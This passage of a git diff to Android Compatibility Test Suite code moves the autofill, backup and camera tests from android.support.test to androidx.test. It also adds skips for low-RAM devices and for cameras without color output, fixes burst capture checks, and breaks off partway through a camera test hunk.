 import android.service.autofill.CharSequenceTransformation;
 import android.service.autofill.ValueFinder;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.autofill.AutofillId;
 import android.widget.RemoteViews;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
index ee6e8e0..e765906 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
@@ -25,9 +25,10 @@
 import android.service.autofill.InternalValidator;
 import android.service.autofill.Transformation;
 import android.service.autofill.Validator;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.RemoteViews;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
index 642e372..f5a4f89 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -19,6 +19,8 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.app.Activity;
 import android.app.PendingIntent;
 import android.content.Intent;
@@ -80,7 +82,7 @@
         mUiBot.setScreenOrientation(UiBot.PORTRAIT);
         try {
             runShellCommand("wm size 1080x1920");
-            runShellCommand("wm density 420");
+            runShellCommand("wm density 320");
             saveUiRestoredAfterTappingLinkTest(
                     PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
         } finally {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
index 2554a5b..279a829 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
@@ -23,11 +23,12 @@
 
 import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.Dataset;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.autofill.AutofillId;
 import android.view.autofill.AutofillValue;
 import android.widget.RemoteViews;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java
index 6f59302..e92d3bd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java
@@ -24,10 +24,11 @@
 import android.icu.util.Calendar;
 import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.DateValueSanitizer;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.view.autofill.AutofillValue;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
index 1ba93c4..6d7a914 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
@@ -32,11 +32,12 @@
 import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.FillEventHistory.Event;
 import android.service.autofill.UserData;
-import android.support.test.InstrumentationRegistry;
 import android.view.autofill.AutofillId;
 import android.view.autofill.AutofillManager;
 import android.widget.EditText;
 
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Before;
 import org.junit.ClassRule;
 import org.junit.Rule;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 4e5418b..2037259 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -46,7 +46,6 @@
 import android.service.autofill.FieldClassification.Match;
 import android.service.autofill.FillContext;
 import android.service.autofill.FillEventHistory;
-import android.support.test.InstrumentationRegistry;
 import android.text.TextUtils;
 import android.util.Log;
 import android.util.Pair;
@@ -60,6 +59,7 @@
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.BitmapUtils;
 import com.android.compatibility.common.util.RequiredFeatureRule;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
index f0f5470..fc82ffd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
@@ -27,10 +27,11 @@
 import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.ImageTransformation;
 import android.service.autofill.ValueFinder;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.autofill.AutofillId;
 import android.widget.RemoteViews;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
index 0da2208..975968f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
@@ -25,9 +25,10 @@
 import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.LuhnChecksumValidator;
 import android.service.autofill.ValueFinder;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.autofill.AutofillId;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
index 6f6b75a..ff955dd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
@@ -89,6 +89,7 @@
             Log.e(TAG, "could write destroyed marker: " + e);
         }
         super.onDestroy();
+        sInstance = null;
     }
 
     /**
@@ -127,4 +128,8 @@
             sInstance.finish();
         }
     }
+
+    public static boolean hasInstance() {
+        return sInstance != null;
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
index f0e68a6..7ccddbd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
@@ -25,9 +25,10 @@
 import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.RegexValidator;
 import android.service.autofill.ValueFinder;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.autofill.AutofillId;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RetryRuleTest.java b/tests/autofillservice/src/android/autofillservice/cts/RetryRuleTest.java
index 3d182ed..ef3169f8 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/RetryRuleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/RetryRuleTest.java
@@ -19,7 +19,8 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.Description;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
index a13f4a0..b507fa5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
@@ -23,9 +23,10 @@
 import android.service.autofill.InternalSanitizer;
 import android.service.autofill.Sanitizer;
 import android.service.autofill.SaveInfo;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.autofill.AutofillId;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index 1ae4418..18ef5aa 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -34,8 +34,11 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
+import android.app.ActivityManager;
+import android.content.Context;
 import android.app.PendingIntent;
 import android.app.assist.AssistStructure;
 import android.content.Intent;
@@ -44,6 +47,7 @@
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
 import android.view.autofill.AutofillValue;
 
 import org.junit.After;
@@ -57,6 +61,8 @@
  */
 @AppModeFull // This test requires android.permission.WRITE_EXTERNAL_STORAGE
 public class SessionLifecycleTest extends AutoFillServiceTestCase {
+    private static final String TAG = "SessionLifecycleTest";
+
     private static final String ID_BUTTON = "button";
     private static final String ID_CANCEL = "cancel";
 
@@ -103,6 +109,10 @@
                 + "-n android.autofillservice.cts/.OutOfProcessLoginActivityFinisherReceiver");
         mUiBot.assertGoneByRelativeId(ID_USERNAME, Timeouts.ACTIVITY_RESURRECTION);
 
+        if (!OutOfProcessLoginActivity.hasInstance()) {
+            Log.v(TAG, "@After: Not waiting for oop activity to be destroyed");
+            return;
+        }
         // Waiting for activity to be destroyed (destroy marker appears)
         eventually("getDestroyedMarker()", () -> {
             return getDestroyedMarker(getContext()).exists();
@@ -141,6 +151,9 @@
     @Test
     public void testDatasetAuthResponseWhileAutofilledAppIsLifecycled() throws Exception {
         assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
+        final ActivityManager activityManager = (ActivityManager) getContext()
+                .getSystemService(Context.ACTIVITY_SERVICE);
+        assumeFalse(activityManager.isLowRamDevice());
 
         // Set service.
         enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
index d08c7e7..c7d2793 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
@@ -22,9 +22,10 @@
 
 import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.TextValueSanitizer;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.autofill.AutofillValue;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 5eefb0d..90358ab 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -39,7 +39,6 @@
 import android.graphics.Bitmap;
 import android.os.SystemClock;
 import android.service.autofill.SaveInfo;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
@@ -52,6 +51,7 @@
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
 
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
@@ -93,6 +93,9 @@
             "autofill_picker_accessibility_title";
     private static final String RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE =
             "autofill_save_accessibility_title";
+    private static final String RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION =
+            "config_forceDefaultOrientation";
+
 
     static final BySelector DATASET_PICKER_SELECTOR = By.res("android", RESOURCE_ID_DATASET_PICKER);
     private static final BySelector SAVE_UI_SELECTOR = By.res("android", RESOURCE_ID_SAVE_SNACKBAR);
@@ -865,4 +868,24 @@
             SystemClock.sleep(timeout);
         }
     }
-}
+
+    private boolean getBoolean(String id) {
+        final Resources resources = mContext.getResources();
+        final int booleanId = resources.getIdentifier(id, "bool", "android");
+        return resources.getBoolean(booleanId);
+    }
+
+    /**
+     * Returns {@code true} if display rotation is supported, {@code false} otherwise.
+     */
+    public boolean isScreenRotationSupported() {
+        try {
+            return !getBoolean(RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION);
+        } catch (Resources.NotFoundException e) {
+            Log.d(TAG, "Resource not found: "
+                    + RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION
+                    + ". Assume rotation supported");
+            return true;
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
index 354bbc9..bec7756 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
@@ -30,7 +30,8 @@
 import android.content.Context;
 import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.UserData;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import com.google.common.base.Strings;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
index 84370ca..e0313c6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
@@ -22,7 +22,6 @@
 
 import android.app.assist.AssistStructure;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.autofill.AutofillValue;
 import android.widget.EditText;
@@ -30,6 +29,7 @@
 import androidx.annotation.IdRes;
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
index b50fb22..698aa44 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
@@ -43,7 +43,8 @@
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.SaveInfo;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import org.junit.After;
 import org.junit.ClassRule;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/common/ShellHelper.java b/tests/autofillservice/src/android/autofillservice/cts/common/ShellHelper.java
index fb7c93a..ff42b51 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/common/ShellHelper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/common/ShellHelper.java
@@ -16,12 +16,13 @@
 
 package android.autofillservice.cts.common;
 
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
 import android.text.TextUtils;
 import android.util.Log;
 import android.view.View;
 
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.SystemUtil;
 
 /**
diff --git a/tests/backup/Android.mk b/tests/backup/Android.mk
index e12f2c4..6bfed5c 100644
--- a/tests/backup/Android.mk
+++ b/tests/backup/Android.mk
@@ -27,7 +27,7 @@
     android.test.base.stubs \
 
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ctstestserver mockito-target-minus-junit4
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt ctstestserver mockito-target-minus-junit4
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/backup/AndroidManifest.xml b/tests/backup/AndroidManifest.xml
index 28745f3..542c41f 100644
--- a/tests/backup/AndroidManifest.xml
+++ b/tests/backup/AndroidManifest.xml
@@ -23,7 +23,7 @@
         <uses-library android:name="org.apache.http.legacy" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.backup.cts"
                      android:label="CTS tests of Android Backup/Restore">
         <meta-data android:name="listener"
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index 8e0bfa0..9b6ab65 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -17,6 +17,11 @@
 <configuration description="Config for CTS Backup test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="backup" />
+    
+    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
+        <option name="user-type" value="system" />
+    </target_preparer>
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFullBackupApp.apk" />
diff --git a/tests/backup/app/fullbackup/Android.mk b/tests/backup/app/fullbackup/Android.mk
index 68bf8f1..b53e38a 100644
--- a/tests/backup/app/fullbackup/Android.mk
+++ b/tests/backup/app/fullbackup/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner
+    compatibility-device-util-axt \
+    ctstestrunner-axt
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/backup/app/keyvalue/Android.mk b/tests/backup/app/keyvalue/Android.mk
index f9034db0..dc5f2e8 100644
--- a/tests/backup/app/keyvalue/Android.mk
+++ b/tests/backup/app/keyvalue/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner
+    compatibility-device-util-axt \
+    ctstestrunner-axt
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index 369d566..72a391c 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -18,7 +18,7 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util \
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt \
 	mockito-target-minus-junit4 \
 	android-ex-camera2
 
@@ -41,8 +41,8 @@
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util \
-	ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt \
+	ctstestrunner-axt \
 	mockito-target-minus-junit4 \
 	android-ex-camera2 \
 	CtsCameraUtils \
diff --git a/tests/camera/AndroidManifest.xml b/tests/camera/AndroidManifest.xml
index e2ab0be..f311b99 100644
--- a/tests/camera/AndroidManifest.xml
+++ b/tests/camera/AndroidManifest.xml
@@ -78,7 +78,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.camera.cts"
                      android:label="CTS tests of android camera">
         <meta-data android:name="listener"
diff --git a/tests/camera/AndroidTest.xml b/tests/camera/AndroidTest.xml
index 2a2cdc9..b2b6695 100644
--- a/tests/camera/AndroidTest.xml
+++ b/tests/camera/AndroidTest.xml
@@ -23,7 +23,7 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.camera.cts" />
         <option name="runtime-hint" value="12m7s" />
-        <!-- test-timeout unit is ms, value = 200 min -->
-        <option name="test-timeout" value="12000000" />
+        <!-- test-timeout unit is ms, value = 300 min -->
+        <option name="test-timeout" value="18000000" />
     </test>
 </configuration>
diff --git a/tests/camera/api25test/Android.mk b/tests/camera/api25test/Android.mk
index 8a2c43e..506e444 100644
--- a/tests/camera/api25test/Android.mk
+++ b/tests/camera/api25test/Android.mk
@@ -26,8 +26,8 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util \
-    ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt \
+    ctstestrunner-axt \
     android-ex-camera2 \
     CtsCameraUtils
 
diff --git a/tests/camera/api25test/AndroidManifest.xml b/tests/camera/api25test/AndroidManifest.xml
index dd77c2d..c4d477e 100644
--- a/tests/camera/api25test/AndroidManifest.xml
+++ b/tests/camera/api25test/AndroidManifest.xml
@@ -30,7 +30,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="Camera API25 Test"
         android:targetPackage="android.camera.cts.api25test" >
     </instrumentation>
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 1a35a9f..88cb8ef 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -673,6 +673,37 @@
         return mCameraIdList->cameraIds[idx];
     }
 
+    // Caller is responsible to free returned characteristics metadata
+    ACameraMetadata* getCameraChars(int idx) {
+        if (!mMgrInited || !mCameraIdList || idx < 0 || idx >= mCameraIdList->numCameras) {
+            return nullptr;
+        }
+
+        ACameraMetadata* chars;
+        camera_status_t ret = ACameraManager_getCameraCharacteristics(
+                mCameraManager, mCameraIdList->cameraIds[idx], &chars);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "Get camera characteristics failed: ret %d", ret);
+            return nullptr;
+        }
+        return chars;
+    }
+
+    // Caller is responsible to free returned characteristics metadata.
+    ACameraMetadata* getCameraChars(const char* id) {
+        if (!mMgrInited || id == nullptr) {
+            return nullptr;
+        }
+
+        ACameraMetadata* chars;
+        camera_status_t ret = ACameraManager_getCameraCharacteristics(mCameraManager, id, &chars);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "Get camera characteristics failed: ret %d", ret);
+            return nullptr;
+        }
+        return chars;
+    }
+
     camera_status_t updateOutput(JNIEnv* env, ACaptureSessionOutput *output) {
         if (mSession == nullptr) {
             ALOGE("Testcase cannot update output configuration session %p",
@@ -1684,6 +1715,18 @@
             goto cleanup;
         }
 
+        {
+            ACameraMetadata* chars = testCase.getCameraChars(cameraId);
+            StaticInfo staticInfo(chars);
+            if (!staticInfo.isColorOutputSupported()) {
+                ALOGI("%s: camera %s does not support color output. skipping",
+                        __FUNCTION__, cameraId);
+                ACameraMetadata_free(chars);
+                continue;
+            }
+            ACameraMetadata_free(chars);
+        }
+
         ret = testCase.openCamera(cameraId);
         if (ret != ACAMERA_OK) {
             LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
@@ -1821,6 +1864,18 @@
             goto cleanup;
         }
 
+        {
+            ACameraMetadata* chars = testCase.getCameraChars(cameraId);
+            StaticInfo staticInfo(chars);
+            if (!staticInfo.isColorOutputSupported()) {
+                ALOGI("%s: camera %s does not support color output. skipping",
+                        __FUNCTION__, cameraId);
+                ACameraMetadata_free(chars);
+                continue;
+            }
+            ACameraMetadata_free(chars);
+        }
+
         ret = testCase.openCamera(cameraId);
         if (ret != ACAMERA_OK) {
             LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
@@ -2067,6 +2122,18 @@
             goto cleanup;
         }
 
+        {
+            ACameraMetadata* chars = testCase.getCameraChars(cameraId);
+            StaticInfo staticInfo(chars);
+            if (!staticInfo.isColorOutputSupported()) {
+                ALOGI("%s: camera %s does not support color output. skipping",
+                        __FUNCTION__, cameraId);
+                ACameraMetadata_free(chars);
+                continue;
+            }
+            ACameraMetadata_free(chars);
+        }
+
         ret = testCase.openCamera(cameraId);
         if (ret != ACAMERA_OK) {
             LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
@@ -2298,6 +2365,18 @@
             goto cleanup;
         }
 
+        {
+            ACameraMetadata* chars = testCase.getCameraChars(cameraId);
+            StaticInfo staticInfo(chars);
+            if (!staticInfo.isColorOutputSupported()) {
+                ALOGI("%s: camera %s does not support color output. skipping",
+                        __FUNCTION__, cameraId);
+                ACameraMetadata_free(chars);
+                continue;
+            }
+            ACameraMetadata_free(chars);
+        }
+
         ret = testCase.openCamera(cameraId);
         if (ret != ACAMERA_OK) {
             LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
@@ -2501,6 +2580,18 @@
             goto cleanup;
         }
 
+        {
+            ACameraMetadata* chars = testCase.getCameraChars(cameraId);
+            StaticInfo staticInfo(chars);
+            if (!staticInfo.isColorOutputSupported()) {
+                ALOGI("%s: camera %s does not support color output. skipping",
+                        __FUNCTION__, cameraId);
+                ACameraMetadata_free(chars);
+                continue;
+            }
+            ACameraMetadata_free(chars);
+        }
+
         ret = testCase.openCamera(cameraId);
         if (ret != ACAMERA_OK) {
             LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
diff --git a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
index b0aae41..db2b616 100644
--- a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
@@ -127,6 +127,7 @@
         // Create session and start up preview
 
         SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+        SimpleCaptureCallback burstResultListener = new SimpleCaptureCallback();
         ImageDropperListener imageDropper = new ImageDropperListener();
 
         prepareCaptureAndStartPreview(
@@ -214,7 +215,7 @@
 
         if (maxSyncLatency == CameraCharacteristics.SYNC_MAX_LATENCY_PER_FRAME_CONTROL) {
             // The locked result we have is already synchronized so start the burst
-            mSession.captureBurst(burst, resultListener, mHandler);
+            mSession.captureBurst(burst, burstResultListener, mHandler);
         } else {
             // Need to get a synchronized result, and may need to start burst later to
             // be synchronized correctly
@@ -232,7 +233,7 @@
             int requestsNeededToSync = numFramesWaited - pipelineDepth;
             for (int i = 0; i < numFramesWaited; i++) {
                 if (!burstSent && requestsNeededToSync <= 0) {
-                    mSession.captureBurst(burst, resultListener, mHandler);
+                    mSession.captureBurst(burst, burstResultListener, mHandler);
                     burstSent = true;
                 }
                 lockedResult = resultListener.getCaptureResult(MAX_PREVIEW_RESULT_TIMEOUT_MS);
@@ -270,12 +271,14 @@
         // Process burst results
         int burstIndex = 0;
         CaptureResult burstResult =
-                resultListener.getCaptureResultForRequest(burst.get(burstIndex),
-                    maxPipelineDepth + 1);
+                burstResultListener.getCaptureResult(MAX_PREVIEW_RESULT_TIMEOUT_MS);
         long prevTimestamp = -1;
         final long frameDurationBound = (long)
                 (minStillFrameDuration * (1 + FRAME_DURATION_MARGIN_FRACTION) );
 
+        long burstStartTimestamp = burstResult.get(CaptureResult.SENSOR_TIMESTAMP);
+        long burstEndTimeStamp = 0;
+
         List<Long> frameDurations = new ArrayList<>();
 
         while(true) {
@@ -307,8 +310,25 @@
 
             // Get next result
             burstIndex++;
-            if (burstIndex == BURST_SIZE) break;
-            burstResult = resultListener.getCaptureResult(MAX_PREVIEW_RESULT_TIMEOUT_MS);
+            if (burstIndex == BURST_SIZE) {
+                burstEndTimeStamp = burstResult.get(CaptureResult.SENSOR_TIMESTAMP);
+                break;
+            }
+            burstResult = burstResultListener.getCaptureResult(MAX_PREVIEW_RESULT_TIMEOUT_MS);
+        }
+
+        // Verify no preview frames interleaved in burst results
+        while (true)         {
+            CaptureResult previewResult =
+                    resultListener.getCaptureResult(MAX_PREVIEW_RESULT_TIMEOUT_MS);
+            long previewTimestamp = previewResult.get(CaptureResult.SENSOR_TIMESTAMP);
+            if (previewTimestamp >= burstStartTimestamp && previewTimestamp <= burstEndTimeStamp) {
+                fail("Preview frame is interleaved with burst frames! Preview timestamp:" +
+                        previewTimestamp + ", burst [" + burstStartTimestamp + ", " +
+                        burstEndTimeStamp + "]");
+            } else if (previewTimestamp > burstEndTimeStamp) {
+                break;
+            }
         }
 
         // Verify inter-frame durations
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index 98fa7af..836210f 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -153,8 +153,6 @@
                     any(CameraDevice.class));
 
         mCameraListener = mCameraMockListener;
